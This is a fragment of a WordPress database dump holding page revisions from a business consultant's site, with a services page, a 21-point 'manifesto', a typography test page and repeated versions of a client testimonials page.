(3109, 1, '2015-10-09 16:21:57', '2015-10-09 23:21:57', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><strong><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span>\r\n</strong></h1>\r\n[su_button url="http://whc.fbdev.org/consulting-programs/" style="flat" background="#fd7217" size="6" text_shadow="0px 0px 0px #000000"]Learn about consulting programs[/su_button]\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg"><img class="alignnone size-full wp-image-3017" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" /></a>\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n[su_button url="http://whc.fbdev.org/consulting-programs/" style="flat" background="#ff6600" size="6" text_shadow="0px 0px 0px #000000"]What my clients say[/su_button]\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-09 16:21:57', '2015-10-09 23:21:57', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0),
(3110, 2, '2015-10-09 16:25:10', '2015-10-09 23:25:10', '<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg"><img class="alignnone size-full wp-image-3008" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-MANIFESTO-LEAD.jpg" alt="White Hot Center Manifesto" width="680" height="350" /></a></span></h2>\r\n<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles, or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. Presented here are my guiding principles that form my philosophy of life and business success and directs all my activities in my consulting practice.</span></h2>\r\n<h3><span style="color: #000000;"><strong>1 as you think, so it is</strong></span><span style="color: #ff6600;"><em><span style="color: #808080;">\r\nall creation begins with your thoughts.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>2</strong><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong><em>\r\n<span style="color: #999999;">never desire what you don’t expect to experience, nor expect to experience what you don’t desire.</span></em></span><span style="color: #999999;"> <strong>\r\n</strong></span></h3>\r\n<h3><span style="color: #000000;"><strong> 3</strong><strong> you must do what matters to you, and what you do must serve others</strong><em>\r\n<span style="color: #999999;">meaning + contribution = a life of significance.</span></em></span></h3>\r\n<h3><span style="color: #000000;"><strong>4  begin now with what’s at hand</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">there is no shortage of supply, you are at all times surrounded by potential and possibility.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">forget the past, your future is right now!</span>\r\n</em></span></h3>\r\n<h3><span style="color: #333333;"><strong>6  embrace simplicity</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">do everything in an easy and relaxed manner.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">don’t be afraid to put your own “dent in the universe”.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>8  be different, make a difference</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it''s all about the quality of your presence.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the ultimate competitive advantage and the key to wealth.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>10  people are more important than money</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">get this reversed and it’s game over!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>11  create experiences people love</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">doing good things for people is good business.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>12  listen more, sell less</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">It’s all about them not you. Serve don''t sell.\r\n</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">follow your heart, there is no better alternative.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>14  daydream often</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">play aimlessly in your creative imagination.\r\n</span> </em></span></h3>\r\n<h3><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">discover your genius, delegate everything else.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>16  forget what you know</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">the world moves to fast for one mind – seek collaborators.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>17  beware of comfort</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">it will put you to sleep!</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>18  play on the edges</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">embrace risk like a lover.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">say no often and mean it.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">elevate everyone you come into contact with.</span></em></span></h3>\r\n<h3><span style="color: #333333;"><strong>21  give thanks, give back</strong></span><span style="color: #ff6600;"><em>\r\n<span style="color: #808080;">appreciation + service =  abundance.</span></em></span></h3>\r\n&nbsp;', 'The White Hot Center Manifesto', 0, '', 'inherit', 'closed', 'closed', '', '136-revision-v1', '', '', '2015-10-09 16:25:10', '2015-10-09 23:25:10', '', 136, 'http://whc.fbdev.org/2015/10/136-revision-v1/', 0, 'revision', '', 0),
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(3169, 1, '2015-10-14 10:26:01', '2015-10-14 17:26:01', '<img class="alignnone size-full wp-image-3013" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Work-with-Thomson.jpg" alt="Work with Thomson Dawson" width="680" height="353" />\r\n<h2><span style="color: #ff6600;">Strategic and creative consulting exclusively for creative entrepreneurs and small business leaders who want greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</span></h2>\r\nMy clients are entrepreneurs, solo professionals, CEOs and their leadership teams in growing business organizations. They have a high degree of ambition, discipline and determination to succeed, and they’re at an inflection point in their next level of growth. They seek my expertise when they’re inventing new businesses, entering new markets, introducing new products and services, or transforming their business for the next level of growth. Typically, individual entrepreneurs and professional clients have annual incomes of $150,000+ and are seeking insight, knowledge and advice to double and triple that amount. The small business organizations I serve have annual sales revenue in the $5–$50 million+ range.\r\n\r\n<span style="color: #ff6600;"><strong>My White Hot Center Consulting Programs:</strong></span>\r\n<span style="color: #ff6600;">For individual entrepreneurs, I offer issue-based consulting, coaching and workshops to help them take their business to the next level.</span>\r\n\r\n<span style="color: #ff6600;">For management teams in growing organizations, I design and facilitate strategic brand development workshops, and provide creative direction for their go-to-market implementation programs designed to elevate the quality of their presence in the marketplace.   </span>\r\n<h1><span style="color: #000000;"><a href="http://whc.fbdev.org/consulting-programs/">Learn more about my consulting programs here.</a></span></h1>\r\n<img class="alignnone wp-image-3017 size-full" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Consulting.jpg" alt="WHC Consulting Packages" width="679" height="278" />\r\n<h1><a href="http://whc.fbdev.org/what-clients-say/">What clients say about Thomson Dawson!</a></h1>\r\n<h2><span style="color: #ff6600;">If you have a business transformation challenge, let''s have a conversation to discuss how to help you achieve your desired outcomes.</span></h2>\r\n[su_button url="mailto:thomson@whitehotcenter.com" style="flat" background="#fd7217" size="6"]Start the Conversation[/su_button]', 'Create more impact, influence and income!', 0, '', 'inherit', 'closed', 'closed', '', '138-revision-v1', '', '', '2015-10-14 10:26:01', '2015-10-14 17:26:01', '', 138, 'http://whc.fbdev.org/2015/10/138-revision-v1/', 0, 'revision', '', 0);
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(3128, 1, '2015-10-12 14:31:42', '2015-10-12 21:31:42', 'This page is for sampling the basic HTML tags and their styles.\r\n<h1>This is an H1 headline treatment.</h1>\r\n<h2>This is an H2 headline treatment.</h2>\r\n<h3>This is an H3 headline treatment.</h3>\r\n<h4>This is an H4 headline treatment.</h4>\r\n<h5>This is an H5 headline treatment.</h5>\r\n<h6>This is an H6 headline treatment.</h6>\r\nThis is a regular paragraph. <strong>This sentence should be bold without the use of CSS.</strong> The rest of this is lipsum. Ante diam elementum ipsum, ut suscipit justo odio non eros. In venenatis, purus a tristique placerat, erat dolor luctus est, vitae luctus ante turpis eget odio. Sed at nibh massa, eu malesuada metus. Proin ut nunc turpis. Vivamus porta, erat nec ultrices varius, lectus libero lobortis justo, blandit tincidunt libero est ut nibh. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Praesent congue iaculis diam, vel imperdiet diam posuere a. Mauris a tellus et nulla pretium volutpat. Cras ut nunc dolor, ac accumsan odio. Proin rhoncus sapien non nulla congue eget ultricies nisl eleifend. Fusce libero purus, commodo iaculis tincidunt vitae, consectetur id nunc.\r\n\r\n<strong>This is a generic bulleted list</strong>\r\n<p class="p3"></p>\r\n\r\n<ul class="ul1">\r\n	<li class="li4">Maecenas tempus nisi vel libero volutpat id egestas neque feugiat.</li>\r\n	<li class="li4">Nulla auctor venenatis augue eu venenatis.</li>\r\n	<li class="li4">Duis massa lorem, mollis in porttitor vel, congue quis erat.</li>\r\n	<li class="li4">Sed hendrerit commodo eros tempor tincidunt.</li>\r\n	<li class="li4">Sed et diam justo, vel elementum nibh.</li>\r\n</ul>\r\n<strong><span style="line-height: 1.5;">This is a generic numbered list</span></strong>\r\n<ol class="ul1">\r\n	<li class="li4">Maecenas tempus nisi vel libero volutpat id egestas neque feugiat.</li>\r\n	<li class="li4">Nulla auctor venenatis augue eu venenatis.</li>\r\n	<li class="li4">Duis massa lorem, mollis in porttitor vel, congue quis erat.</li>\r\n	<li class="li4">Sed hendrerit commodo eros tempor tincidunt.</li>\r\n	<li class="li4">Sed et diam justo, vel elementum nibh.</li>\r\n</ol>\r\n<p class="p5"></p>', 'Typography Test Page', 0, '', 'inherit', 'closed', 'closed', '', '3126-revision-v1', '', '', '2015-10-12 14:31:42', '2015-10-12 21:31:42', '', 3126, 'http://whc.fbdev.org/2015/10/3126-revision-v1/', 0, 'revision', '', 0),
(3131, 2, '2015-10-13 09:26:20', '2015-10-13 16:26:20', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:26:20', '2015-10-13 16:26:20', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3132, 2, '2015-10-13 09:28:06', '2015-10-13 16:28:06', '<h2>Serving clients in diverse industry categories.</h2>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:28:06', '2015-10-13 16:28:06', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3133, 2, '2015-10-13 09:28:58', '2015-10-13 16:28:58', '<h1>Serving clients in diverse industry categories.</h1>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:28:58', '2015-10-13 16:28:58', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
(3134, 2, '2015-10-13 09:49:22', '2015-10-13 16:49:22', '<h1>Serving clients in diverse industry categories.</h1>\r\n<h2 id="stcpDiv"><img class="alignnone size-full wp-image-3093" src="http://whc.fbdev.org/wp-content/uploads/2015/10/Project-Image.jpg" alt="Consulting Clients" width="680" height="406" /></h2>\r\n<h2>I contribute my expertise to increase your capabilities, improve your effectiveness, and help you make confident decisions about the strategic and creative aspects of creating competitive advantage in your business.</h2>\r\n<div>\r\n\r\n“Our company was in need of a complete image overhaul to position our business for the future! Thomson, worked with us to craft a solution that not only was highly marketable, creative and attractive, but also something that fit our company culture like a glove. Thomson has an amazing ability to visualize, analyze, watch, listen and ask the right questions. My clients absolutely love the results! I highly recommend him”.\r\n\r\n<em>Jeff Lipis,\r\n</em><em>Managing Partner PRJ Consulting\r\n</em><em>Technology Provider</em>\r\n\r\n“When faced with the need for an informed opinion and advice related to brand development, I call Thomson Dawson. When you combine great depth of experience, a vision that''s far ahead of most in our industry and disciplined thinking with a can do positive attitude, the result is always positive. Highly recommended if you want to get ahead and stay ahead”.\r\n\r\n<em>Marc Romano</em>\r\n<em>Managing Partner, FirstPrinciple</em>\r\n<em>Business Services</em>\r\n\r\n“We had the pleasure of working with Thomson on a variety of projects. Most recently as the Chief Operating Officer of a new start-up venture, Thomson brought his professionalism and creative expertise in brand messaging to craft a new identity for our business. Our team went through his strategic workshop and the final results exceeded our expectations!”\r\n\r\n<em>Grant Lepper</em>\r\n<em>Chief Operating Officer, Local Market Launch, Inc.</em>\r\n<em>Internet Technology, Business Services</em>\r\n\r\n“With a new venture in the wings we were looking for a strategy and identity in the marketplace that would set us up as a step above the rest. From the first workshop until the final hand-off of our assets, Thomson delivered on every level. The creative work and guidance he created was spot on for our niche. The strategy for bringing our brand to the world was extraordinary. I can''t recommend Thomson enough.\r\n\r\n<em>Joe Bruzzese</em>\r\n<em>Founder and CEO, Sprigeo, LLC</em>\r\n<em>Technology Startup, Educational Services</em>\r\n\r\n"My business partner and I worked with Thomson on what would become a critical strategic move for our business – identifying our true brand position and out of that developing and implementing a new name for our business. Thomson helped guide us through an incredibly enlightening, effective, and inspiring brand positioning workshop which would perfectly set the foundation for not only the development of our new name, but also the next decade for our business. Thomson was thoughtful, collaborative, and was clearly committed to our success. His experience, guidance, and creativity helped guide two very different shareholders toward a result that we simply could not be happier with. Thomson didn’t tell us who we should be or where we should go. Even better, he guided us along a path that helped us discover that our direction and purpose had been there all along, we just needed someone to help us reveal it.”\r\n\r\n<em>Pete Houlihan</em>\r\n<em>CEO, Brightformat, Inc.</em>\r\n<em>Business Services</em>\r\n\r\n“Working with Thomson on our strategic brand development initiative for ThedaCare was a colossal undertaking. Our system includes five metropolitan hospitals, and a variety of physician clinics. Throughout the workshop process, Thomson built instant rapport and trust with our team and guided the creative direction of a new corporate identity program designed and approved by our senior leadership team in less than six months.”\r\n\r\n<em>MJ Beckman</em>\r\n<em>Senior Leader, Marketing Communications</em>\r\n<em>ThedaCare Inc.</em>\r\n<em>Healthcare System</em>\r\n\r\n“Thomson was recommended to me by a colleague and helped our marketing team create the face of two new brands. He quickly understood the market demographic, and our goals, and worked extremely well with the team to meet our requirements and very tight deadlines. We loved the creative results and were complimented on a regular basis by our physician customers (and Reps) on the quality, style and content of marketing communication programs. I recommend Thomson and look forward to working with him again.\r\n\r\n<em>Madeleine Lyell</em>\r\n<em>Senior Leader, Product Manager</em>\r\n<em>Coapt Systems, Inc.</em>\r\n<em>Medical Devices</em>\r\n\r\n“Thomson did an excellent job of guiding our marketing team through the strategic positioning and creative development process for our recent Hydrelle product launch. Thomson’s contributions to our success were exceptional. More importantly, on a very tight implementation schedule, his creative team delivered all our market launch communications materials on-time and on-budget!”\r\n\r\n<em>David Barella,</em>\r\n<em> Senior Vice President, Global Marketing, </em>\r\n<em>Coapt Systems, Inc.</em>\r\n<p class="quote">"Thomson masterfully guided me through the process of developing the website for my 22/7 Company. I wanted to go beyond what was generally available… Thomson "got it" and helped me capture my vision and make it happen, He''s a rare combination of creative genius and organized strategic planner. I thoroughly enjoyed our working process together, He''s the best!"</p>\r\n<p class="attribute">Terry Tillman\r\nFounder and President\r\n22/7 Company Management Consulting</p>\r\n<p class="quote">"Thomson is a rare breed! He is a gifted and talented creative professional and inspiring leader. I would highly recommend him to anyone who wants to get their business to the next level!"</p>\r\n<p class="attribute">Roger Gould\r\nFounder and President\r\nGould Design Inc Graphic Design Agency</p>\r\n\r\n<h2>If you have a business transformation challenge, let’s have a conversation to discuss how to help you achieve your desired outcomes.</h2>\r\n</div>', 'What clients say about working with Thomson Dawson.', 0, '', 'inherit', 'closed', 'closed', '', '3060-revision-v1', '', '', '2015-10-13 09:49:22', '2015-10-13 16:49:22', '', 3060, 'http://whc.fbdev.org/2015/10/3060-revision-v1/', 0, 'revision', '', 0),
